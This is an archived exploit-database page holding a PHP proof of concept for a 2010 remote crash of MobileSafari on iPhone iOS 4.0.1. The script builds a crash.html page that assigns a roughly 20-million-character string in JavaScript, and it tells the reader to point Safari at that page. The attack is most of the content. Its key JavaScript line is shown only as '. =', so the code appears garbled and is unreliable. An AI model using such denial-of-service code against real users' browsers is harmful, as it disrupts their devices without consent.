[dos / poc] - Apple iPhone Safari (JS .) Remote Crash
Posted on 22 December 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Apple iPhone Safari (JS .) Remote Crash | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Apple iPhone Safari (JS .) Remote Crash by Pr0T3cT10n in dos / poc | Inj3ct0r 1337 - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_setDomainName", "none"]);_gaq.push(["_setAllowLinker", true]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>======================================= Apple iPhone Safari (JS .) Remote Crash ======================================= <?php # _ ____ __ __ ___ # (_)____ _ __/ __ / /_____ ____/ / _/_/ | # / // __ | / / / / / //_/ _ / __ / / / / / # / // / / / |/ / /_/ / ,< / __/ /_/ / / / / / # /_//_/ /_/|___/\____/_/|_|\___/\__,_/ / /_/_/ # Live by the byte |_/_/ # # Members: # # Pr0T3cT10n # -=M.o.B.=- # TheLeader # Sro # Debug # # Contact: inv0ked.israel@gmail.com # # ----------------------------------- # The following code is a proof of concept for a crash vulnerability that exists in 'Apple iPhone MobileSafari'. # Point your browser to the created file (crash.html) and see what happen ;) # The vulnerable function is: # * . = "A X 20000120"; # ----------------------------------- # Exploit Title: Apple iPhone Safari (JS '.' / dot) Remote Crash # Date: 21/12/2010 # Author: Pr0T3cT10n # Affected Version: IOS 4.0.1 # Tested on Apple iPhone 3GS, IOS 4.0.1, MobileSafari # Launch Safari, point your browser to the page and safari will crash. # ISRAEL, NULLBYTE.ORG.IL $string = str_repeat('A', 20000120); $code = "<html> <head> <title>Apple iPhone 3 Safari (JavaScript - dot / '.') Remote Crash</title> </head> <script type='text/javascript'> . = '{$string}'; </script> </html>"; if(file_put_contents("./crash.html", $code)) { echo("Point your safari mobile browser to `crash.html`. "); } else { echo("Cannot create file. "); } ?> # <a href='http://1337db.com/'>1337db.com</a> [2010-12-22]</pre></body></html>